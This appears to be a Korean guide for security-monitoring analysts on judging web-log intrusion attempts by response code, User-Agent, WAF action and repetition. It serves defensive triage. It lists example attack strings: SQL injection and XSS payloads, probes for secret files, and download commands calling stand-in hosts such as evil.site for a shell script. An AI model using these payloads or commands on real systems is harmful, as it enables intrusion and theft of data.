침해시도 분석은 단순 탐지 이벤트를 보는 것이 아니라 실제 서비스 영향 가능성과 공격 성공 여부를 분석하는 과정이다.
웹 로그에서 가장 중요한 것은 단순 탐지 건수가 아니라 실제 응답 결과와 노출 가능성이다. 같은 공격 패턴이라도 404, 403, 200, 500 응답에 따라 판단이 달라진다.
대부분의 웹 서버는 하루에도 수많은 자동화 스캔 요청을 받는다. 공격자는 인터넷 전체를 대상으로 취약한 서버를 탐색하며, .env, phpMyAdmin, wp-login, Jenkins, Git 설정파일 등을 지속적으로 요청한다.
보안관제에서는 단순히 탐지가 발생했다는 사실만으로 정탐 여부를 판단하지 않는다. 요청 URI, 응답코드, User-Agent, 반복성, 차단 여부, 실제 서비스 영향 가능성을 함께 확인해야 한다.
공격자는 서버 구조를 모르기 때문에 존재할 가능성이 있는 URI를 무작위로 요청한다. 이 과정에서 존재하지 않는 경로는 대부분 404 응답으로 기록된다.
/.env
/.git/config
/phpmyadmin
/wp-login.php
/admin
/manager/html
/backup.zip
/config.php
404 응답 자체는 공격 성공을 의미하지 않는다. 다만 동일 IP에서 여러 경로를 반복 요청하거나, 관리 페이지와 설정 파일을 함께 탐색한다면 자동화 스캔 행위로 볼 수 있다.
공격 URI 요청에 200 응답이 발생하면 실제 페이지가 존재하거나 서버가 요청을 정상 처리했을 가능성이 있다.
특히 아래 경로에서 200 응답이 확인되면 정보 노출 여부를 우선 점검해야 한다.
403 응답은 접근이 차단되었거나 권한이 없다는 의미다. WAF, 웹 서버 정책, 접근제어 설정에 의해 차단된 경우가 많다.
500 응답은 서버 내부 오류를 의미한다. SQL Injection, RCE, Path Traversal 같은 요청 이후 500 응답이 반복된다면 서버가 공격 페이로드 처리 과정에서 오류를 발생시켰을 가능성이 있어 추가 확인이 필요하다.
?id=1 union select
?id=1 or 1=1
?id=1 and sleep(5)
?id=1 and benchmark(1000000,md5(1))
SQL Injection은 입력값에 SQL 구문을 삽입해 데이터베이스를 조작하려는 공격이다. 실제 분석 시에는 응답코드, 차단 여부, 반복 시도 여부, DB 오류 메시지 노출 여부를 확인한다.
단순 탐지만 존재하고 403으로 차단되었다면 공격 성공 가능성은 낮다. 반대로 200 응답이 반복되거나 DB 오류가 노출된다면 실제 취약 여부를 점검해야 한다.
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
javascript:alert(1)
XSS는 사용자 브라우저에서 스크립트를 실행시키는 공격이다. 로그에서 XSS 문자열이 보인다고 해서 무조건 성공한 것은 아니다.
실제 위험 여부는 해당 값이 화면에 반사되는지, HTML 인코딩이 적용되는지, WAF 또는 애플리케이션 필터링에 의해 제거되는지를 확인해야 한다.
wget http://malicious.site/file.sh
curl http://evil.site/shell.sh
/bin/bash
/bin/sh
cmd.exe
powershell.exe
whoami
cat /etc/passwd
RCE는 원격 명령 실행을 시도하는 공격이다. 서버에서 명령이 실행될 수 있기 때문에 위험도가 매우 높다.
wget, curl, bash, powershell, cmd.exe 같은 문자열이 URI 또는 파라미터에 포함되면 외부 악성 파일 다운로드 또는 명령 실행 시도로 볼 수 있다.
.env, .git/config, backup.zip, db.sql 같은 경로 접근은 정보 노출 탐색에 해당한다. 공격자는 환경변수, DB 계정, API Key, 소스코드, 백업 파일을 찾기 위해 이러한 경로를 반복 요청한다.
/.env
/.git/config
/.git/HEAD
/backup.zip
/db.sql
/config.php.bak
해당 요청이 404라면 단순 탐색으로 볼 수 있지만, 200 응답이 확인되면 실제 파일 노출 여부를 즉시 점검해야 한다.
WordPress 사이트를 대상으로 한 wp-login.php 요청은 매우 흔한 자동화 스캔이다. 실제 WordPress를 사용하지 않는 사이트에서도 무작위로 요청이 들어온다.
짧은 시간 동안 동일 IP 또는 여러 국가 IP에서 반복 요청이 발생하면 계정 대입 공격 또는 자동화 봇 행위로 볼 수 있다.
python-requests
curl
wget
sqlmap
masscan
zgrab
Go-http-client
nikto
User-Agent는 자동화 도구 여부를 판단하는 중요한 기준이다. 일반 브라우저가 아닌 curl, wget, python-requests, sqlmap 등이 확인되면 자동화 스캐너 또는 공격 도구 사용 가능성이 높다.
다만 User-Agent는 쉽게 위조될 수 있으므로 단독 기준으로 판단하지 말고 URI, 응답코드, 요청 횟수와 함께 분석해야 한다.
WAF에서 공격 패턴이 탐지되었지만 action이 allowed로 기록되는 경우가 있다. 이는 WAF가 탐지만 수행하는 모드로 운영 중이거나, 정책상 차단하지 않고 모니터링만 하도록 설정된 경우다.
따라서 allowed라고 해서 정상으로 단정하면 안 된다. 탐지명, URI, 응답코드, 실제 서비스 영향 가능성을 같이 확인해야 한다.
CloudFront, Akamai, Azure Front Door 같은 CDN을 사용하는 환경에서는 CDN IP 대역에서 대량 요청이 발생할 수 있다.
단순히 요청량이 많다는 이유만으로 공격으로 판단하면 오탐이 발생할 수 있다. CDN 여부, X-Forwarded-For, 원본 사용자 IP, URI 패턴을 함께 확인해야 한다.
다수의 비인가 URI 접근 시도가 확인되었으며, 대부분 404 응답으로 확인되어 자동화 스캔 행위로 판단됨.
SQL Injection 패턴 탐지 이벤트가 발생하였으나 차단 정책에 의해 차단되어 실제 공격 성공 가능성은 낮은 것으로 판단됨.
공격 URI 요청에 200 응답이 확인되어 실제 파일 또는 페이지 노출 여부에 대한 추가 점검이 필요함.
동일 출발지에서 다양한 관리자 경로 및 설정 파일 접근 시도가 반복되어 취약점 탐색 목적의 자동화 스캔으로 판단됨.
침해시도 분석은 단순 탐지 여부가 아니라 실제 영향 가능성을 판단하는 과정이다. 탐지명만 보고 정탐 또는 오탐을 결정하면 안 되며, 응답코드, 차단 여부, 반복성, User-Agent, 공격 유형 다양성 등을 종합적으로 분석해야 한다.
특히 공격 URI에서 200 응답이 발생하거나, RCE 계열 문자열이 확인되거나, 설정 파일 및 백업 파일 접근 시도가 성공한 정황이 보이면 우선순위를 높여 확인하는 것이 좋다.